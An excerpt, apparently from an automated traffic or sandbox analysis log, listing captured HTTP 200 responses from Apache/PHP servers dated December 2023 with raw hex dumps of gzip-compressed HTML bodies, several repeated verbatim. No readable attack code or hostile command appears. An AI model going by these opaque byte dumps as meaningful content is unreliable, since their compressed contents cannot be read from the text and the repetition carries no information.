23 e0 0e ab b1 d6 e5 6a 9e ca 82 25 05 84 a5 e2 57 99 2c 43 2a c5 48 24 c4 7f e0 05 94 09 21 9a 37 e1 f0 5a fe 8f 24 4b 08 6c 5e ca 21 0b 48 6c 43 64 32 0d 3f cf d2 5c a8 89 96 21 49 69 18 b2 37 2b 68 5a 9c 93 85 2c 2b d8 80 26 fa 1b 14 69 99 c3 04 fb 5c 4e fe 9e 70 22 6a 6a 96 26 68 0a f1 67 61 8a ca 51 9a 8e 22 ee e3 34 dc 9f 70 29 86 22 60 33 24 6f 5c 3c 9f 94 3f fc 94 e5 27 72 f7 6d 72 78 7e fe 62 38 19 3f fe 35 dc de e9 ff df 64 af fd 26 8c 4e 7d 9f b1 a0 ff 87 9f 2d 1b 35 e7 90 e3 c9 a8 64 23 9c e6 47 36 61 2f 55 25 5a c0 b0 4c 02 ad 4c a5 8c c4 28 e1 4b 68 28 71 b6 0c 5c 4a 5e ca fb 0b ef 48 e7 c5 70 c9 96 41 7d 54 a7 66 5e 5c 44 bc 39 60 c1 e9 08 a5 99 84 db 69 94 4a e8 82 f7 dd ce ce ea 6a bb ed 6d 52 77 1e e5 fc 66 c3 b0 ff fb 85 1a 25 91 f7 63 26 a2 a5 f8 e2 15 93 f7 df 69 18 ad 16 ec 31 58 f9 3b 5a c5 65 c1 32 b2 8d 24 17 79 c1 91 f1 e1 e5 50 24 42 a2 5a a3 b8 50 6a 39 41 91 97 a3 32 12 d4 3f 5c 2c 13 d4 b3 90 5a 38 70 82 ad 61 4e 98 04 c9 47 6a 36 c4 23 e1 67 70 84 c5 f3 6c 69 f1 2f 7f 6e fb 8f 99 ff b6 f9 da ff e5 fb df bf 5b 79 6f cb fe 2f ef 1e 2c bf ff 73 f3 17 aa c3 0a 2a ae bd ff 9f c5 e5 45 b1 78 7f 73 41 03 96 bc 28 65 52 c1 6e 16 3c 2f 0c 39 8a 35 ef e9 ab 26 58 09 fd 05 91 ac 18 a5 98 8f f4 a2 fe ca 62 69 11 6d 76 54 a2 0c 80 40 2d 7e af 79 39 61 51 c9 9b 11 4f 46 c5 58 c1 5c 20 61 5d 6d 83 0e 3c bc 0f 34 9d e1 e3 15 81 17 b2 e4 1a ab 1a f1 21 43 d9 d5 98 5a 49 5a 10 ad d6 2c 10 35 a0 82 d2 6a 19 38 04 7b 73 a1 01 9a 42 64 b1 15 ad 83 28 8e 6a 34 2c b5 b0 b4 e8 5a 00 2c 7e af 8a aa 0f d2 67 c0 74 35 d2 04 b8 f1 8e be a1 d1 b8 0e 23 dd ea e0 03 04 eb 3d fe 27 aa 00 7f 23 84 1a 81 a5
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Wed, 20 Dec 2023 02:13:23 GMTcontent-type: text/html; charset=UTF-8content-length: 4184server: Apachex-powered-by: PHP/7.1vary: Accept-Encodingcontent-encoding: gzipx-iplb-request-id: 668198D4:D574_D5BA2113:0050_65824DC3_1C32D:4FF0x-iplb-instance: 51844Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 3c eb 5a 1b c9 b1 bf c5 53 54 66 4f 0c 3e cb 48 c2 18 8c 8d a4 04 63 b1 66 83 81 60 f0 9e 4d be 8d bf d6 4c 4b ea 65 6e ee 99 11 60 c7 ef 9a 9f 21 4f 91 aa be cc b4 84 b0 31 36 89 93 63 61 8b e9 5b 75 dd bb ba ba 87 ce b8 88 a3 de 02 40 67 cc 59 d8 5b e8 14 a2 88 78 af ff 74 1b 8e 9f f7 a1 ff aa bf 7f 0c 4f e1 f8 00 bf b6 0f 5e 1c 6e fd b0 ff 73 a7 a5 3b 2d 74 62 5e 30 18 17 45 e6 f3 37 a5 98 74 bd ed 34 29 78 52 f8 c7 17 19 f7 20 d0 a5 ae 57 f0 f3 a2 45 33 6d 42 30 66 32 e7 45 57 e4 a9 bf b1 b1 f6 d8 5f f1 d4 f4 0a 54 c2 62 de f5 64 3a 48 8b dc 19 2e 92 90 9f 2f c3 30 8d a2 f4 cc 83 16 0d 98 1a 71 ca 2f ce 52 19 ba 63 58 22 62 56 88 34 c9 b1 2e 8e b9 0c 04 8b 78 be 0c 4e 43 96 96 12 02 ec 2e b9 d3 ab c4 a9 16 aa 5e 6e 27 07 92 03 07 f2 54 c8 4b 0e e1 a2 ea 94 49 91 73 b7 59 24 34 5a 4c a6 2a 15 d4 9c 45 f8 18 72 88 16 59 59 a4 71 3a 10 d1 74 af cb 90 8d d2 91 78 53 4e 55 5f 86 65 c0 66 21 46 65 38 db 2f 48 11 36 81 67 20 d3 b2 c0 b6 40 c8 a0 14 c5 9c 16 79 c9 22 51 20 19 ac 1c c5 88 ef 25 37 8c 76 f9 1c f2 3c 90 22 23 e0 0e ab b1 d6 e5 6a 9e ca 82 25 05 84 a5 e2 57 99 2c 43 2a c5 48 24 c4 7f e0 05 94 09 21 9a 37 e1 f0 5a fe 8f 24 4b 08 6c 5e ca 21 0b 48 6c 43 64 32 0d 3f cf d2 5c a8 89 96 21 49 69 18 b2 37 2b 68 5a 9c 93 85 2c 2b d8 80 26 fa 1b 14 69 99 c3 04 fb 5c 4e fe 9e 70 22 6a 6a 96 26 68 0a f1 67 61 8a ca 51 9a 8e 22 ee e3 34 dc 9f 70 29 86 22 60 33 24 6f 5c 3c 9f 94 3f fc 94 e5 27 72 f7 6d 72 78 7e fe 62 38 19 3f fe 35 dc de e9 ff df 64 af fd 26 8c 4e 7d 9f b1 a0 ff 87 9f 2d 1b 35 e7 90 e3 c9 a8 64 23 9c e6 47 36 61 2f 55 25 5a c0 b0 4c 02 ad 4c a5 8c c4 28 e1 4b 68 28 71 b6 0c 5c 4a 5e ca fb 0b ef 48 e7 c5 70 c9 96 41 7d 54 a7 66 5e 5c 44 bc 39 60 c1 e9 08 a5 99 84 db 69 94 4a e8 82 f7 dd ce ce ea 6a bb ed 6d 52 77 1e e5 fc 66 c3 b0 ff fb 85 1a 25 91 f7 63 26 a2 a5 f8 e2 15 93 f7 df 69 18 ad 16 ec 31 58 f9 3b 5a c5 65 c1 32 b2 8d 24 17 79 c1 91 f1 e1 e5 50 24 42 a2 5a a3 b8 50 6a 39 41 91 97 a3 32 12 d4 3f 5c 2c 13 d4 b3 90 5a 38 70 82 ad 61 4e 98 04 c9 47 6a 36 c4 23 e1 67 70 84 c5 f3 6c 69 f1 2f 7f 6e fb 8f 99 ff b6 f9 da ff e5 fb df bf 5b 79 6f cb fe 2f ef 1e 2c bf ff 73 f3 17 aa c3 0a 2a ae bd ff 9f c5 e5 45 b1 78 7f 73 41 03 96 bc 28 65 52 c1 6e 16 3c 2f 0c 39 8a 35 ef e9 ab 26 58 09 fd 05 91 ac 18 a5 98 8f f4 a2 fe ca 62 69 11 6d 76 54 a2 0c 80 40 2d 7e af 79 39 61 51 c9 9b 11 4f 46 c5 58 c1 5c 20 61 5d 6d 83 0e 3c bc 0f 34 9d e1 e3 15 81 17 b2 e4 1a ab 1a f1 21 43 d9 d5 98 5a 49 5a 10 ad d6 2c 10 35 a0 82 d2 6a 19 38 04 7b 73 a1 01 9a 42 64 b1 15 ad 83 28 8e 6a 34 2c b5 b0 b4 e8 5a 00 2c 7e af 8a aa 0f d2 67 c0 74 35 d2 04 b8 f1 8e be a1 d1 b8 0e 23 dd ea e0 03 04 eb 3d fe 27 aa 00 7f 23 84 1a 81 a5
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Dec 2023 02:13:23 GMTServer: ApacheX-Powered-By: PHP/7.4.33Upgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 7369Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5d fb 72 da ba d6 ff bf 4f a1 43 a7 9b 64 4e 30 f7 92 34 49 cf e4 c2 6e 38 27 4d 33 49 ba 3b 7b 3a 1d 46 d8 02 dc 18 9b da 26 94 73 f6 7e 89 ef 89 bf 25 d9 06 d9 96 6f b1 c9 ad b4 d3 02 96 2c 2d 2d fd 24 2d 49 eb 72 30 b6 27 da fb 83 7f 54 2a a8 a7 5b 36 d6 65 72 4c 46 aa 8e 6c 32 99 6a d8 26 87 a5 ea 8d fb d5 aa 0e 55 1d 6b 92 32 b7 4b 48 36 14 f2 69 66 5b aa 42 ce 6e 3e 9e f7 ac 73 43 be 25 ca 61 69 88 35 8b 94 50 a5 f2 fe d5 c1 98 60 05 3e 26 c4 c6 68 6c db d3 0a f9 31 53 ef 0e 4b 27 86 6e 13 dd ae dc 2c a6 84 16 c5 7e 1d 96 6c f2 d3 ae 52 82 f6 91 3c c6 a6 45 ec 43 d5 32 2a bb bb ed bd 4a bd 04 05 85 c8 ec 2a aa 8d 07 1a 41 3a 9e 00 a9 8a 21 db aa ad 79 d5 b3 ef ef ff 8d 17 d6 d8 24 04 1d cd 6c 63 82 6d d5 d0 d1 bb 77 e8 7a 66 62 9b 7e f9 30 fb 8e dd af 3d 5d 51 b1 74 50 75 5e f4 d7 d7 d5 95 65 6d ac f4 24 62 68 e3 5d 42 18 03 9c a7 b7 64 31 37 4c c5 e2 9a 3d c1 fa 6c 88 65 7b 66 aa fa 08 19 43 74 7a 82 2c 62 de 19 68 62 d8 86 69 ed 40 35 77 c4 b4 89 89 be a8 f6 18 1d c9 32 b1 2c c3 54 09 24 fd 6e 02 4f 89 2e 2f 96 99 e0 e1 35 7b fb d4 54 ef 68 96 0f 04 9b 03 e3 27 b1 10 d6 15 f6 8b 28 e8 a3 5b f4 f5 04 6b da 32 eb b5 a1 cd 18 83 00 01 97 c6 1c 6a bc d4 b0 6e 43 ca 15 81 ce 27 e6 62 f9 e0 64 4c 26 aa 8c 35 ca b4 99 65 3b d4 d0 8a 55 99 70 cf d0 b9 7a 4b d0 07 6c a1 6b 9b f1 1e 72 b1 8e 30 06 aa 46 7c 2f 5f 62 f9 16 8f 28 0f f8 a7 1f b1 3c 86 9a b9 de db 41 c7 86 0d 1d 84 7e 57 35 8d 66 77 48 42 bf a1 63 02 2c c0 23 7f b1 37 80 aa 60 55 d7 b3 11 36 fd d5 10 80 9c ce 1a e4 d6 48 db 68 4c a6 26 e3 b5 47 b5 4b c0 25 c0 73 82 65 02 cc 0a b2 e0 9c e8 ff 25 68 82 a1 d5 5c 37 f8 9e ff 41 64 60 be 97 70 ad 92 09 d1 2d a8 16 92 2e cf 4f d0 75 5b f4 b0 83 1a b5 9a 30 a1 19 f1 1c b5 42 09 5f 7a 17 27 90 24 63 05 a3 eb 85 05 83 1c 86 95 0f 9f 0a b1 64 53 9d d2 66 72 10 15 8d 21 95 e2 09 25 81 57 42 37 63 62 11 f7 17 02 ec a1 99 05 f8 1b 02 03 ee b0 a9 1a 33 78 38 9d 6a c0 47 86 0e 86 51 98 42 0c 84 59 f9 ea 64 6a 98 36 b2 66 03 0b 46 e5 cc 26 92 88 16 19 72 1a c3 21 e0 d5 1e 13 34 26 da 14 d9 06 d0 a1 01 a7 d9 23 b7 7a 5a 2b d6 17 c8 86 89 87 12 cb d5 cc 2a b6 79 5a 69 a1 03 82 80 23 ea 48 07 92 e1 5d 05 00 a6 19 53 97 7e 5a d2 9d a1 d9 14 71 f4 6d 6b 4a 20 45 36 26 03 98 27 59 99 90 5d 67 59 35 63 8e 7e cc 00 a6 aa bd 40 74 c8 aa 26 ed 16 1b f8 f3 05 08 c6 77 04 9a e8 4e 1f 13 07 7f 6c f4 68 74 f4 3c d0 f0 47 c4 96 a5 1d 4a 0f ed 25 85 60 36 b8 e6 b4 4e af a7 2e cf 8f 2e 10 5e f1 9d 25 42 83 a7 1a b1 89 6f f6 f8 c3 7d c3 62 58 77 a6 81 9d cd 9c e2 90 ce cd 2b a8 6b cb e9 a6 16 c9 eb 99 ee cf 29 f4 b4 e5 30 9f 82 7b 68 68 80 2f 4a f5 c0 84 3e b6 28 ff 8d 99 c9 0f 10 98 11 76 d0 d9 c7 1e aa a2 8f 1f 7b 3b ce 14 c0 c6 be 33 dc d9 88 70 57 e0 ef f8 0e 3b 4f dd 35 f7 d5 70 a6 cb
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Dec 2023 02:13:23 GMTServer: ApacheX-Powered-By: PHP/7.4.33Upgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 7369Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5d fb 72 da ba d6 ff bf 4f a1 43 a7 9b 64 4e 30 f7 92 34 49 cf e4 c2 6e 38 27 4d 33 49 ba 3b 7b 3a 1d 46 d8 02 dc 18 9b da 26 94 73 f6 7e 89 ef 89 bf 25 d9 06 d9 96 6f b1 c9 ad b4 d3 02 96 2c 2d 2d fd 24 2d 49 eb 72 30 b6 27 da fb 83 7f 54 2a a8 a7 5b 36 d6 65 72 4c 46 aa 8e 6c 32 99 6a d8 26 87 a5 ea 8d fb d5 aa 0e 55 1d 6b 92 32 b7 4b 48 36 14 f2 69 66 5b aa 42 ce 6e 3e 9e f7 ac 73 43 be 25 ca 61 69 88 35 8b 94 50 a5 f2 fe d5 c1 98 60 05 3e 26 c4 c6 68 6c db d3 0a f9 31 53 ef 0e 4b 27 86 6e 13 dd ae dc 2c a6 84 16 c5 7e 1d 96 6c f2 d3 ae 52 82 f6 91 3c c6 a6 45 ec 43 d5 32 2a bb bb ed bd 4a bd 04 05 85 c8 ec 2a aa 8d 07 1a 41 3a 9e 00 a9 8a 21 db aa ad 79 d5 b3 ef ef ff 8d 17 d6 d8 24 04 1d cd 6c 63 82 6d d5 d0 d1 bb 77 e8 7a 66 62 9b 7e f9 30 fb 8e dd af 3d 5d 51 b1 74 50 75 5e f4 d7 d7 d5 95 65 6d ac f4 24 62 68 e3 5d 42 18 03 9c a7 b7 64 31 37 4c c5 e2 9a 3d c1 fa 6c 88 65 7b 66 aa fa 08 19 43 74 7a 82 2c 62 de 19 68 62 d8 86 69 ed 40 35 77 c4 b4 89 89 be a8 f6 18 1d c9 32 b1 2c c3 54 09 24 fd 6e 02 4f 89 2e 2f 96 99 e0 e1 35 7b fb d4 54 ef 68 96 0f 04 9b 03 e3 27 b1 10 d6 15 f6 8b 28 e8 a3 5b f4 f5 04 6b da 32 eb b5 a1 cd 18 83 00 01 97 c6 1c 6a bc d4 b0 6e 43 ca 15 81 ce 27 e6 62 f9 e0 64 4c 26 aa 8c 35 ca b4 99 65 3b d4 d0 8a 55 99 70 cf d0 b9 7a 4b d0 07 6c a1 6b 9b f1 1e 72 b1 8e 30 06 aa 46 7c 2f 5f 62 f9 16 8f 28 0f f8 a7 1f b1 3c 86 9a b9 de db 41 c7 86 0d 1d 84 7e 57 35 8d 66 77 48 42 bf a1 63 02 2c c0 23 7f b1 37 80 aa 60 55 d7 b3 11 36 fd d5 10 80 9c ce 1a e4 d6 48 db 68 4c a6 26 e3 b5 47 b5 4b c0 25 c0 73 82 65 02 cc 0a b2 e0 9c e8 ff 25 68 82 a1 d5 5c 37 f8 9e ff 41 64 60 be 97 70 ad 92 09 d1 2d a8 16 92 2e cf 4f d0 75 5b f4 b0 83 1a b5 9a 30 a1 19 f1 1c b5 42 09 5f 7a 17 27 90 24 63 05 a3 eb 85 05 83 1c 86 95 0f 9f 0a b1 64 53 9d d2 66 72 10 15 8d 21 95 e2 09 25 81 57 42 37 63 62 11 f7 17 02 ec a1 99 05 f8 1b 02 03 ee b0 a9 1a 33 78 38 9d 6a c0 47 86 0e 86 51 98 42 0c 84 59 f9 ea 64 6a 98 36 b2 66 03 0b 46 e5 cc 26 92 88 16 19 72 1a c3 21 e0 d5 1e 13 34 26 da 14 d9 06 d0 a1 01 a7 d9 23 b7 7a 5a 2b d6 17 c8 86 89 87 12 cb d5 cc 2a b6 79 5a 69 a1 03 82 80 23 ea 48 07 92 e1 5d 05 00 a6 19 53 97 7e 5a d2 9d a1 d9 14 71 f4 6d 6b 4a 20 45 36 26 03 98 27 59 99 90 5d 67 59 35 63 8e 7e cc 00 a6 aa bd 40 74 c8 aa 26 ed 16 1b f8 f3 05 08 c6 77 04 9a e8 4e 1f 13 07 7f 6c f4 68 74 f4 3c d0 f0 47 c4 96 a5 1d 4a 0f ed 25 85 60 36 b8 e6 b4 4e af a7 2e cf 8f 2e 10 5e f1 9d 25 42 83 a7 1a b1 89 6f f6 f8 c3 7d c3 62 58 77 a6 81 9d cd 9c e2 90 ce cd 2b a8 6b cb e9 a6 16 c9 eb 99 ee cf 29 f4 b4 e5 30 9f 82 7b 68 68 80 2f 4a f5 c0 84 3e b6 28 ff 8d 99 c9 0f 10 98 11 76 d0 d9 c7 1e aa a2 8f 1f 7b 3b ce 14 c0 c6 be 33 dc d9 88 70 57 e0 ef f8 0e 3b 4f dd 35 f7 d5 70 a6 cb
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Dec 2023 02:13:23 GMTServer: ApacheUpgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Content-Length: 1232Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 b5 52 6b 73 da 38 14 fd de 99 fe 07 c5 3b 9b 40 1b 6c a0 49 da 04 9c 0e 84 47 43 20 2f 02 0e 9e 9d d9 11 f2 35 16 96 2d 57 96 31 26 93 ff be 32 e4 dd 4e bb fb 61 ed 0f b6 ce 3d ba 8f 73 6e 7d ab 75 71 72 33 b9 6c 23 4f 06 ec f8 fd bb 7a fe 45 0e 96 b8 84 9d 29 e3 c4 f7 21 33 b5 41 27 4d 5b 57 93 de 19 b7 4f bd 05 39 6f 5c b5 9b cd ab 46 6b 98 36 d2 61 a3 d7 6c 9c dd 7e de a3 cb 68 35 ce 6e a7 bd 48 90 be 3b fd b6 17 c5 97 7b 1f fb 55 08 e5 77 41 cb 6c e5 1d 44 7e 03 df f6 2f 4f 09 61 8b 83 d6 55 13 7a bd 79 b7 63 89 e6 69 e7 e0 6a 90 75 d2 db 9b fd 93 93 eb 6c 3e ac 46 10 b6 4f 1a 69 bb d1 b8 32 cd bf fd cf cd a1 bb 20 4b 38 27 d5 bd 95 65 b8 13 9e 55 e2 6f 7d 66 b5 f6 86 99 3f ca 28 fb 14 ac 52 49 46 7b 7b a4 31 5c f9 df d3 3e cc 5b a2 fd 1d 47 9d ac 1c 4c 0f f9 41 72 68 b9 c9 a7 9b 6f 9f e1 ac dd 9f 8f 3b 96 4a ac ad 67 06 ec e4 df 98 08 1a 49 24 b3 08 4c 4d c2 52 1a 73 bc c0 1b 54 3b 5e 60 81 f0 34 aa d5 8d 0d 72 fc 6b 3e 8a 05 31 35 4f ca e8 c8 30 60 19 31 2e c0 15 00 02 e2 84 c9 58 27 3c 30 a2 a5 3e 8f bf 12 cf ac 68 c7 ff 47 da ea bf 4e 7b ec 26 21 91 94 87 c8 c3 a1 c3 a0 d1 bc 6c 81 04 22 0b c5 3b 29 b2 3b ea 16 b6 d4 f0 45 24 40 26 22 ac e5 62 d0 60 c6 f8 0c 99 c8 e1 24 09 94 cb 3a 11 80 25 b4 19 e4 a7 82 a6 08 5a b1 b6 a1 e9 b1 cc 18 e8 1e d0 99 27 4d ad 1c 2d b5 d7 91 94 3a d2 7b 13 f8 fd a8 b1 5f 52 4c d5 59 2c b1 4c 62 3d f2 a2 af d8 b4 c6 76 67 30 b2 a3 49 79 92 4e e6 76 70 de 75 7c b8 f5 16 56 38 96 f6 c9 97 d5 59 79 3f 1a ad ec d3 71 a5 c3 06 a3 c3 c5 a8 ba 6f 4d fd 6b 76 de 3e ad 8e db 87 f6 70 14 57 6c e6 0b fc e9 74 39 08 ec ee b8 dc eb 4e ab f2 c4 1e 8f 2b e7 dd 38 1d f8 d1 c0 1a 37 83 71 b9 32 9a 58 15 ef ac ba 1f d8 6d 6f 3c ec 56 96 56 7b b2 c2 ad 9e 3f ea 44 21 58 e3 2e ee ce b2 51 cb ee df b4 c6 f8 ba 62 d3 eb ae 7d 8d 19 63 d6 6d c7 b6 da 65 73 7b 6a 6a 1f f3 bd 7a 52 71 ca 9d 4c c7 51 04 a1 73 e2 51 e6 14 36 72 28 25 dd 42 ee 1e 77 f3 3d 04 91 08 86 b6 4c 13 69 49 e8 80 4b 43 70 34 b4 bd fd 14 db 32 35 ad 98 d2 d0 e1 a9 2e 79 a4 33 4e 70 ee b0 f9 48 a8 dd 2b 80 78 05 10 a2 78 77 7f ff b4 29 ef df 21 f5 d4 03 90 18 11 0f 8b 18 94 61 89 74 4b 5f b4 c7 d8 da b2 97 ab 44 e2 f8 31 98 3f 9e 0c d8 2e ca 07 d9 45 7f 44 58 c8 10 c4 2e a2 ae c0 01 a0 bb 67 de 9a bb 5e 89 a3 4a b9 fc 67 ed 75 64 bd 12 3f 0b 04 58 cc 68 78 54 7e 03 47 d8 71 68 38 fb 01 9f 72 e1 80 f8 01 e6 89 64 4a b5 1f 70 97 87 b2 14 d3 15 fc ac f4 02 84 a4 04 b3 12 66 74 16 1e 4d 71 0c 79 92 b7 15 31 f1 67 82 2b 63 8e a4 c0 61 ac 24 50 ce be 20 dd 3f ff 1a 1f 72 9d de aa c2 55 21 97 f1 f4 c8 a3 8e 03 e1 cb ab 1f 8c 07 17 8c b5 0d af fd 52 bd ab 4a a6 76 7e 61 69 28 54 72 9b 1a 2c 23 2a e0 c9 9f 37 44 b5 20 b0 dc 55 43 33 55 6d 17
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Wed, 20 Dec 2023 02:13:24 GMTcontent-type: text/html; charset=UTF-8content-length: 4184server: Apachex-powered-by: PHP/7.1vary: Accept-Encodingcontent-encoding: gzipx-iplb-request-id: 668198D4:D574_D5BA2113:0050_65824DC4_1C39D:4FF0x-iplb-instance: 51844Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 3c eb 5a 1b c9 b1 bf c5 53 54 66 4f 0c 3e cb 48 c2 18 8c 8d a4 04 63 b1 66 83 81 60 f0 9e 4d be 8d bf d6 4c 4b ea 65 6e ee 99 11 60 c7 ef 9a 9f 21 4f 91 aa be cc b4 84 b0 31 36 89 93 63 61 8b e9 5b 75 dd bb ba ba 87 ce b8 88 a3 de 02 40 67 cc 59 d8 5b e8 14 a2 88 78 af ff 74 1b 8e 9f f7 a1 ff aa bf 7f 0c 4f e1 f8 00 bf b6 0f 5e 1c 6e fd b0 ff 73 a7 a5 3b 2d 74 62 5e 30 18 17 45 e6 f3 37 a5 98 74 bd ed 34 29 78 52 f8 c7 17 19 f7 20 d0 a5 ae 57 f0 f3 a2 45 33 6d 42 30 66 32 e7 45 57 e4 a9 bf b1 b1 f6 d8 5f f1 d4 f4 0a 54 c2 62 de f5 64 3a 48 8b dc 19 2e 92 90 9f 2f c3 30 8d a2 f4 cc 83 16 0d 98 1a 71 ca 2f ce 52 19 ba 63 58 22 62 56 88 34 c9 b1 2e 8e b9 0c 04 8b 78 be 0c 4e 43 96 96 12 02 ec 2e b9 d3 ab c4 a9 16 aa 5e 6e 27 07 92 03 07 f2 54 c8 4b 0e e1 a2 ea 94 49 91 73 b7 59 24 34 5a 4c a6 2a 15 d4 9c 45 f8 18 72 88 16 59 59 a4 71 3a 10 d1 74 af cb 90 8d d2 91 78 53 4e 55 5f 86 65 c0 66 21 46 65 38 db 2f 48 11 36 81 67 20 d3 b2 c0 b6 40 c8 a0 14 c5 9c 16 79 c9 22 51 20 19 ac 1c c5 88 ef 25 37 8c 76 f9 1c f2 3c 90 22 23 e0 0e ab b1 d6 e5 6a 9e ca 82 25 05 84 a5 e2 57 99 2c 43 2a c5 48 24 c4 7f e0 05 94 09 21 9a 37 e1 f0 5a fe 8f 24 4b 08 6c 5e ca 21 0b 48 6c 43 64 32 0d 3f cf d2 5c a8 89 96 21 49 69 18 b2 37 2b 68 5a 9c 93 85 2c 2b d8 80 26 fa 1b 14 69 99 c3 04 fb 5c 4e fe 9e 70 22 6a 6a 96 26 68 0a f1 67 61 8a ca 51 9a 8e 22 ee e3 34 dc 9f 70 29 86 22 60 33 24 6f 5c 3c 9f 94 3f fc 94 e5 27 72 f7 6d 72 78 7e fe 62 38 19 3f fe 35 dc de e9 ff df 64 af fd 26 8c 4e 7d 9f b1 a0 ff 87 9f 2d 1b 35 e7 90 e3 c9 a8 64 23 9c e6 47 36 61 2f 55 25 5a c0 b0 4c 02 ad 4c a5 8c c4 28 e1 4b 68 28 71 b6 0c 5c 4a 5e ca fb 0b ef 48 e7 c5 70 c9 96 41 7d 54 a7 66 5e 5c 44 bc 39 60 c1 e9 08 a5 99 84 db 69 94 4a e8 82 f7 dd ce ce ea 6a bb ed 6d 52 77 1e e5 fc 66 c3 b0 ff fb 85 1a 25 91 f7 63 26 a2 a5 f8 e2 15 93 f7 df 69 18 ad 16 ec 31 58 f9 3b 5a c5 65 c1 32 b2 8d 24 17 79 c1 91 f1 e1 e5 50 24 42 a2 5a a3 b8 50 6a 39 41 91 97 a3 32 12 d4 3f 5c 2c 13 d4 b3 90 5a 38 70 82 ad 61 4e 98 04 c9 47 6a 36 c4 23 e1 67 70 84 c5 f3 6c 69 f1 2f 7f 6e fb 8f 99 ff b6 f9 da ff e5 fb df bf 5b 79 6f cb fe 2f ef 1e 2c bf ff 73 f3 17 aa c3 0a 2a ae bd ff 9f c5 e5 45 b1 78 7f 73 41 03 96 bc 28 65 52 c1 6e 16 3c 2f 0c 39 8a 35 ef e9 ab 26 58 09 fd 05 91 ac 18 a5 98 8f f4 a2 fe ca 62 69 11 6d 76 54 a2 0c 80 40 2d 7e af 79 39 61 51 c9 9b 11 4f 46 c5 58 c1 5c 20 61 5d 6d 83 0e 3c bc 0f 34 9d e1 e3 15 81 17 b2 e4 1a ab 1a f1 21 43 d9 d5 98 5a 49 5a 10 ad d6 2c 10 35 a0 82 d2 6a 19 38 04 7b 73 a1 01 9a 42 64 b1 15 ad 83 28 8e 6a 34 2c b5 b0 b4 e8 5a 00 2c 7e af 8a aa 0f d2 67 c0 74 35 d2 04 b8 f1 8e be a1 d1 b8 0e 23 dd ea e0 03 04 eb 3d fe 27 aa 00 7f 23 84 1a 81 a5
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Dec 2023 02:13:23 GMTServer: ApacheUpgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Content-Length: 6688Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c5 72 69 77 e2 b8 da ed e7 37 bf 42 45 af 13 e0 36 33 a4 42 91 38 f5 26 81 4c 5d 76 26 32 40 af be b5 84 2d db 02 59 72 49 32 53 9f fc f7 2b d9 0c 26 90 ee 73 fa 0c d7 09 b6 f4 cc 7b 3f fb f8 53 fb f6 bc db bb eb 00 5f 06 e4 64 ef 58 7f 80 03 25 2c 42 67 40 98 3d 1a a1 99 91 31 2f 26 93 f6 7d ef e6 17 d6 bf f6 c7 b6 75 7a df 39 3b bb 3f 6d 3f 4e 4e 27 8f a7 37 67 a7 df 7e 44 ed 8b 4e f7 f5 81 56 ae 78 e5 c0 7d ba 3b ec dc 74 0f 0f a7 3d 7a 17 3c 0c 42 73 d6 18 8f 9a bf f4 f0 15 1d 59 21 72 e8 f0 f6 d4 ba b1 e1 6b fb d5 fe e5 fe c6 aa d0 d7 5f fa 37 df 0e bb 36 be 69 37 4f d9 d5 eb 2f d5 83 e6 f9 e9 a4 73 7a 7a 6f 18 df 83 f9 d3 ed 33 77 67 67 4f 11 6c de 34 9f c7 c3 e7 ca 37 ab fe 04 fb bf 4c 2f 2e cd 5b fc ea 5a 95 59 b7 5a f6 7f 7e 75 c6 d7 07 0f 17 e5 57 59 1f fc 98 de 34 6e 26 f4 c5 fb b9 32 38 a8 3f 3f 5b 1d e7 ec 65 76 5e af 77 30 ae 35 27 86 91 01 d3 80 50 61 64 7c 29 c3 56 b9 3c 99 4c 4a 93 7a 89 71 af 5c fd f2 e5 4b 79 aa f9 88 83 5a 04 52 cf c8 20 9a 01 ab 93 e6 0b 41 e7 64 0f a8 e7 38 40 12 02 5d a7 88 7e 44 78 6c 64 ce 19 95 88 ca 62 77 16 a2 0c b0 93 9b 91 91 68 2a cb ba ee 11 b0 7d c8 05 92 46 24 dd 62 33 53 4e 17 a2 30 40 46 66 8c d1 24 64 5c a6 d2 27 d8 91 be e1 a0 31 b6 51 31 be 14 00 a6 58 62 48 8a c2 86 04 19 d5 02 10 3e c7 74 54 94 ac e8 62 69 50 b6 aa 2d b1 24 e8 44 15 83 c4 66 3c 2c d9 2c 38 2e 27 c6 24 40 d8 1c 87 12 08 6e 1b 99 84 0f 8f 31 8f 20 1d 59 86 8e 40 54 a0 b2 c3 02 88 a9 28 db d0 2d 0d c5 57 38 08 8d 6a e6 e4 b8 9c 24 9f 24 85 e4 8c 20 10 20 07 43 23 a3 1c 28 26 ac 04 85 02 fc 5d 48 c8 2b e0 f7 bd ff 19 40 7b e4 71 16 51 a7 05 22 4e 72 d9 72 d9 a9 37 43 c1 29 ae 1e 0e c6 d3 a8 64 13 16 39 2e 57 f0 4b 14 c9 b2 f4 51 80 44 39 2e 23 ca 71 9d 92 87 dd 6c 1e 50 56 e4 28 44 50 02 5b 11 85 f8 d1 de ff c4 f4 b4 40 b5 1e 4e d5 cd 47 d8 f3 a5 ba d6 e2 ab 83 45 48 e0 ac a5 d8 23 98 a2 62 2c f7 a3 bd b7 bd f4 90 d5 7f d3 90 d5 ff e4 90 57 ff a6 21 af fe fd 43 0a 2c 91 b2 8d f4 84 21 74 1c 4c bd 22 5f 24 7f d6 c9 71 10 22 04 f1 07 28 